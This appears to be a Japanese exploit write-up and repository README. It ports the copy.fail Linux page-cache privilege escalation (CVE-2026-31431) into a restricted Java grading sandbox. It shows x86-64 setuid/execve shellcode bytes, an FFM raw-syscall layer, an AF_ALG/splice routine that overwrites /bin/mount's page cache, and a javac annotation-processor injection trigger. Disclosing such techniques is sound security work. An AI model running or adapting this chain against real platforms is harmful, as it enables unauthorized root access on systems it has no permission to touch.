CVE-2026-31431 (copy.fail) — FFM syscallレイヤーとjavacアノテーション・プロセッサによる配信を介して、制約のあるJava実行環境向けに適応
まずクレジットを。これは重要です。 脆弱性、その手法、そしてオリジナルのエクスプロイトはすべて copy.fail の研究者によるものです。CVE-2026-31431 は彼らの成果です。私はこのバグを発見していません。以下は、彼らのエクスプロイトを、Pythonコードをそのまま実行することが不可能なほど厳重にロックダウンされたJavaコード実行環境の中で発火させるまでの話です。私の貢献は配管(プラミング)であって、プリミティブそのものではありません。
私の大学のJava課題プラットフォームは、学生のコードを受け取り、javacでコンパイルし、Dockerコンテナ内で実行します。最初の一連の調査(そして報告したいくつかのバグがパッチされる)の後、コンテナは読み取り専用のルートファイルシステム、seccomp level 2、AppArmor enforce、ゼロケーパビリティにまで絞り込まれ、書き込み可能なのは/tmpと/dev/shmのみ、どちらもnosuid,nodev,noexecでマウントされていました。ネイティブコンパイラも、書き込み可能な実行パスも、memfd_createも、process_vm_readvも、pidfd_getfdも存在しませんでした。
copy.failのエクスプロイトには、書き込み可能なページキャッシュプリミティブと、シェルコードを配信する手段が必要です。どちらも明白な方法では到達できませんでした。そこで私は配信経路全体をJavaで再構築しました。Java 21のForeign Function and Memory API上に構築した生のsyscallレイヤー、ビルド時にPythonでアセンブルするELFペイロード、そしてトリガーとしてのjavacアノテーションプロセッサです。実際の作業を担ったのはcopy.failのページキャッシュ書き込みです。最終結果はコンテナ内のuid 0でした。
コンテナ内のrootであって、ホストのrootではありません。これが全体の構造なので、何度でも言います。
これは、先の問題が修正された後のコンテナの様子です。
uid=100(runner)、gid=101(runner)。CapEff: 0x0000000000000000。実効ケーパビリティはゼロ。docker-default (enforce)。/tmp と /dev/shm、どちらも nosuid,nodev,noexec でマウント。これは本当に厄介な環境です。通常の手口のほとんどが使えません。バイナリを配置することも、コンパイルすることも、memfd_createで作成してexecすることもできず、数少ない書き込み可能ディレクトリはnoexecです。
しかし、ひとつのドアが半開きのままでした。runnerはsudo経由で特権サンドボックスラッパーを呼び出すことができ、それはおおよそ次のようなことを行いました:
/sbin/su-exec root setpriv --no-new-privs --inh-caps=-all "$@" &
つまり、コンテナ内でuid 0に到達することはできるが、NoNewPrivs=1とCAP_SETUID | CAP_SETGIDに制限されたバウンディングセットのみでした。制約されたrootです。名前はroot、しかしそれ以外はほとんど何もできないroot。
「uid 0であること」と「uid 0として実際に何かできること」の間にあるこのギャップこそ、copy.failが埋めるために作られたものです。
オリジナルのエクスプロイトは、LinuxのAF_ALGソケット、すなわちカーネル暗号APIを悪用します。具体的にはauthencesn(hmac(sha256),cbc(aes))アルゴリズムとその復号パスです。そのパスはカーネルのスクラッチバッファに書き込みを行い、注意深く構成された一連のsendmsg()とsplice()呼び出しを通じて、その書き込みを任意のファイルディスクリプタのページキャッシュへと誘導できます。
ページキャッシュはマウント名前空間をまたいで共有されます。つまり、setuidバイナリ(たとえば/bin/mount)のページキャッシュに書き込んでからexecve()すると、カーネルはあなたが破損させたバイト列を実行します。setuidビットにより、カーネルはファイルの所有者であるrootを新しいプロセスIDとして尊重します。この破損はレースではありません。決定的な書き込みです。それがcopy.failがこれほどクリーンである理由のすべてです。
オリジナルのPythonはこれをエレガントに実行します。それは単に、私のボックスが拒否したいくつかのことを実行できることを前提としています:
memfd_create() は EPERM を返す。process_vm_readv() は EPERM を返す。pidfd_getfd() は EPERM を返す。RLIMIT_CORE の引き上げは EPERM を返す。だから私は彼らのコードを実行できませんでした。私はそれらのプリミティブに触れる部分を、ボックスが許容する形で再構築する必要がありました。
4つの部品です。変更されたのは配信のみです。ページキャッシュ書き込みそのものはcopy.failのもので、syscall単位で移植されています。
オリジナルは事前構築されたシェルコードブロブを使用します。私はバイナリをアップロードも実行もできなかったため、ペイロードはビルド時にPythonでゼロからバイト単位でアセンブルされ、16進数にシリアライズされます。ELFヘッダー、プログラムヘッダー、シェルコードはすべてbuild_payload()内で構築され、structでパックされます。
シェルコード自体は短く、自分が何を望むかについて正直です:
code += b'\x48\xc7\xc0\x6a\x00\x00\x00' # mov rax, 106 (setgid)
code += b'\x0f\x05' # syscall
code += b'\x48\xc7\xc0\x69\x00\x00\x00' # mov rax, 105 (setuid)
code += b'\x0f\x05' # syscall
# ... jmp/call/pop で "/bin/sh" を探し、argv を構築し、execve ...
計画はsetgid(0)、setuid(0)、そしてexecve("/bin/sh", ["/bin/sh", "-c", "id"], NULL)です。外部ファイルもアップロード手順もありません。16進数文字列はJavaソースにリテラルとして直接埋め込まれ、静的初期化子でデコードされます。これにより、「書き込み可能な実行パスがない」問題全体を回避できます。ペイロードがディスクに触れることがないからです。ペイロードはメモリに入り、次にページキャッシュに入ります。
これが私が最も満足している部分であり、同時に書いている間最も不条理に感じた部分でもあります。
コンテナ内から生のsyscallが必要でしたが、ネイティブコードをコンパイルしたり実行したりする手段がありませんでした。Java 21のForeign Function and Memory APIを使えば、ネイティブリンカーを通じてCライブラリのsyscall()を直接呼び出せます。問題は、正確なモジュールパスやFFMがプレビューであることに依存したくなかったことです。そのため、配線全体はjava.lang.foreign.*に対するリフレクションで行われます。ネイティブリンカーを見つけ、syscallと__errno_locationをルックアップし、(long, long, long, long, long, long, long) -> longのFunctionDescriptorを構築し、MethodHandleを返します。
static long sc(long n, long a, long b, long c, long d, long e, long f) throws Throwable {
return (long) syscall.invokeWithArguments(n, a, b, c, d, e, f);
}
そこからすべてのsyscallは単にsc(NR, arg0, arg1, ...)です。メモリは匿名mmap(sc(9, 0, sz, 3, 0x22, -1, 0))から得られ、書き込みは/proc/self/memを通じて行われ、読み取りも同じ方法で戻ってきます。JNIも、ネイティブコンパイルも、JDK以外の依存関係もありません。/proc/self/memを通じて自分のメモリを読み書きすることは、ボックスがブロックしていたprocess_vm_readvの代わりとなります。
ひとつの幸運な偶然: コンテナのJVM起動ラッパーはすでに--enable-native-access=ALL-UNNAMEDを渡していました。このフラグがなければFFMはダウンコールを拒否し、私は行き詰まっていたでしょう。彼らは他のすべてをロックした後も、JVM側のドアの鍵はかけずに置いていたのです。
これが「Javaを提出できる」を「制約されたrootとしてコードを実行できる」に変える一手です。
プラットフォームは学生の提出物をjavacでコンパイルします。javacは-processor ClassNameを通じてアノテーションプロセッサをサポートします。プロセッサのprocess()メソッドはコンパイル中に、javacと同じプロセス内で、同じ権限で実行されます。提出エンドポイントはまた、ソースの中に@javac_argsファイルを受け入れ、その内容はコンパイラに直接渡されました。つまり、javacにこれを渡すことができました:
-processor
RP
Trigger.java
そして私のアノテーションプロセッサRP.javaがコンパイル時に実行されます:
@SupportedAnnotationTypes("*")
@SupportedSourceVersion(SourceVersion.RELEASE_21)
public class RP extends AbstractProcessor {
public boolean process(Set<? extends TypeElement> ann, RoundEnvironment re) {
if (done) return false; done = true;
String out = run(<PRIVESC_CMD>,
"timeout", "55", "java",
"--enable-native-access=ALL-UNNAMED", "CopyFailV11");
processingEnv.getMessager().printMessage(Diagnostic.Kind.ERROR, "CF11\n" + out);
return false;
}
}
プロセッサは特権サンドボックスラッパーを呼び出し、それが制約されたrootとしてjava CopyFailV11を実行します。その後エクスプロイトはその制約されたrootコンテキスト内で実行され、ページキャッシュの上書きを行います。コンパイルエラーメッセージは、出力をプラットフォームのレスポンス経由で外部に持ち出す手段にもなっています。コンパイル失敗は普通に起こり得ることだからです。
完全なチェーンは、端から端まで:
CopyFailV11.java プラス RP.java プラス Trigger.java プラス @javac_args。javac がすべてをコンパイルし、アノテーションプロセッサに到達する。java CopyFailV11 を実行する。CopyFailV11 が制約されたrootとして実行され、ページキャッシュの上書きを行う。これはcopy.failのプリミティブであり、概念は不変のまま、Javaのsyscallレイヤーで表現されただけです。ペイロードの4バイトごとに、新しいAF_ALGソケットサイクルが必要です:
static int patch(int fd, int off, byte[] v) throws Throwable {
long af = sc(41, 38, 5, 0, 0, 0, 0); // socket(AF_ALG, SOCK_SEQPACKET, 0)
// ... authencesn(hmac(sha256),cbc(aes)) にバインドし、72バイトのキーを設定し、authsize を設定 ...
long of = sc(43, af, 0, 0, 0, 0, 0); // accept -> オペレーションソケット
// MSG_SPLICE_PAGES (0x8000) 付きの sendmsg でページキャッシュ書き込みをトリガー
sc(46, of, ma, 32768, 0, 0, 0);
// pipe2 + 2つの splice 呼び出しでデータを通過させる
sc(293, pa, 0, 0, 0, 0, 0); // pipe2
sc(275, fd, oa, pw, 0, o, 0); // splice: file -> pipe 書き込み端
sc(275, pr, 0, of, 0, o, 0); // splice: pipe 読み取り端 -> AF_ALG オペレーションソケット
// ...
}
これを機能させているもの、そして私の洞察ではないと明確にしておきたいこと: authencesn復号スクラッチ書き込みパスは、MSG_SPLICE_PAGESとsplice()の組み合わせにより、通常のコピーオンライトセマンティクスを迂回し、バイト列をターゲットファイルディスクリプタのページキャッシュに直接着地させます。レースなし。決定的です。
ターゲットは/bin/mountです。setuid rootであり、ルートファイルシステムが読み取り専用オーバーレイであってもページキャッシュ内に存在します。オーバーレイはディスク上で読み取り専用です。ページキャッシュはオーバーレイではありません。
[+] CopyFailV11 starting
[+] Writing 54 chunks to /bin/mount page cache
[+] TEST_WRITE result=0
[+] AFTER_TEST_FIRST4=54455354 <-- オフセット0に "TEST"、確認済み
[+] MATCH_COUNT=216/216 <-- すべてのペイロードバイトがページキャッシュ内
[+] Page cache mutated! Fork+exec /bin/mount...
CHILD_STATUS:
Name: mount
Uid: 0 0 0 0
Gid: 0 0 0 0
CapEff: 00000000000000c0
NoNewPrivs: 1
Seccomp: 2
[+] EXPLOIT SUCCESS: Child ran as uid=0 gid=0 (ROOT)
バイト列はページキャッシュに着地し、子プロセスはuid 0、gid 0として実行され、書き込みは実行を重ねても100%信頼できます。最初の4バイトが54455354であるのは、単にASCIIでのTESTであり、これは実際のペイロードを投入する前に行う健全性チェックの書き込みです。健全性チェックの書き込みがファイルに現れれば、全体の書き込みも成功します。
中核となる脆弱性は完全にcopy.failのものです。私はCVE-2026-31431を発見しておらず、AF_ALGプリミティブを見つけたわけでもなく、sendmsgとspliceのトリックを設計したわけでもありません。私は、通常のヘルパーが一切存在しないボックスのために配信を適応させたのです:
memfd_create、process_vm_readv、pidfd_getfd はすべてブロックされていた。なぜこれが機能するのかを理解したいなら、copy.failを読んでください。このリポジトリは「わかった、でもボックスがコンパイラとシェルコードファイルも奪ったらどうする?」という問いへの答えです。
子プロセスは、サンドボックスラッパーが課したすべての制約を継承します。ページキャッシュ書き込みはそれらの制約をいっさい緩めません。
NoNewPrivs: 1。それ以上の特権を獲得することはできない。CapEff: 0xc0。CAP_SETUID と CAP_SETGID のみ。Seccomp: 2。syscallフィルタリングは依然として有効。docker-default AppArmor も依然として強制されている。つまり、これはコンテナ内のrootであり、ホストのrootではありません。この状態からコンテナを脱出することは、別の、そしてより困難な問題であり、AppArmorとカーネルのハードニングの間で、ボックスはその経路をしっかり閉じています。私はDockerエスケープを主張しているのではありません。私が主張しているのは、「制約されたroot」が設定の意図よりも制約的でないことが判明したということです。なぜならcopy.failのプリミティブは実際のケーパビリティを必要とせず、ページキャッシュに書き込む能力だけが必要であり、ページキャッシュはあなたのケーパビリティマスクなど気にしないからです。
それが、じっくり考える価値のある部分です。サンドボックスはrootが何をできるかを中心に設計されていました。エクスプロイトはrootとしては何も行いません。ファイルに対して何かを行うのであり、そのファイルがたまたまsetuidなのです。
copy_fail_java_runner.py。ビルドスクリプト。ELFペイロードをPythonでアセンブルし、生成されたJavaソースに焼き込み、POST可能なpayload.jsonを書き出します。実行前にファイル上部でターゲットホスト、ランナーエンドポイント、プリベスク(権限昇格)コマンドを設定してください。CopyFailV11.java(エクスプロイトとFFM syscallレイヤー)、RP.java(アノテーションプロセッサ)、Trigger.javaとメインクラス(コンパイルを正しく成立させるためのダミーソース)、javac_args(-processor RPを注入)、およびpayload.json。オリジナルの脆弱性と手法: copy.fail、CVE-2026-31431。このプロジェクトは環境固有の移植であり、根底にあるバグに対する功績を主張するものではありません。